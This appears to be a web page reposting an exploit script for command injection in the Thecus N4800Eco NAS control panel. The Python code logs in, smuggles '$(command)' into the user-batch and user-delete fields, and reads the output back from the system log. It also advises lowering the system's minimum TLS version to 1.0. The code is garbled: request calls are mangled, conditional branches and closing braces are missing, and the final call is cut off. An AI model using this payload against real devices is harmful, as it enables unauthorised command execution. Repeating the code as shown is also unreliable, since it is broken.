Thecus N4800Eco Command Injection – Geekychild



# Exploit Title: Thecus N4800Eco Nas Server Control Panel – Comand Injection
# Date: 01/06/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage:
# Software Link:
# Version: N4800Eco
# Description:

import requests
import sys
import urllib3

# To fix SSL error that occurs when the script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = [email protected]=2
# 2- Set value of MinProtocol as TLSv1.0

def readResult(s, target):
d = {
“fun”: “setlog”,
“action”: “query”,
“params”: ‘[{“start”:0,”limit”:1,”catagory”:”sys”,”level”:”all”}]’
url = “http://” + target + “/adm/setmain.php”
resultReq =, data=d, verify=False)
dict = resultReq.text.split()
print(“[+] Reading system log…n”)
print(dict[5:8]) #change this range to read whole output of the command

def delUser(s, target, command):
d = {
“action”: “delete”,
“username”: “$(“+command+”)”
url = “http://” + target + “/adm/setmain.php?fun=setlocaluser”
delUserReq =, data=d, allow_redirects=False, verify=False)

if ‘Local User remove succeeds’ in delUserReq.text:
print(‘[+] %s command was executed successfully’ % command)
print(‘[-] %s command was not executed!’ %command)
readResult(s, target)

def addUser(s, target, command):
d = {‘batch_content’: ‘%24(‘+command+’)%2C22222%2C9999′}
url = “http://” + target + “/adm/setmain.php?fun=setbatch”
addUserReq =, data=d, allow_redirects=False, verify=False)

if ‘Users and groups were created successfully.’ in addUserReq.text:
print(‘[+] Users and groups were created successfully’)
print(‘[-] Users and groups were not created’)
delUser(s, target, command)

def login(target, username, password, command=None):
s = requests.Session()
d = {
“&eplang”: “english”,
“p_pass”: password,
“p_user”: username,
“username”: username,
“pwd”: password,
“action”: “login”,
“option”: “com_extplorer”
url = “http://” + target + “/adm/login.php”
loginReq =, data=d, allow_redirects=False, verify=False)

if ‘”success”:true’ in loginReq.text:
print(‘[+] Authentication successful’)
elif ‘”success”:false’ in loginReq.text:
print(‘[-] Authentication failed!’)
print(‘[-] Something went wrong!’)
addUser(s, target, command)

def main(args):
if len(args) != 5:
print(“usage: %s targetIp:port username password command” % (args[0]))
print(“Example admin admin id”)
login(target=args[1], username=args[2], password=args[3], command=args[4])

if __name__ == “__main__”:


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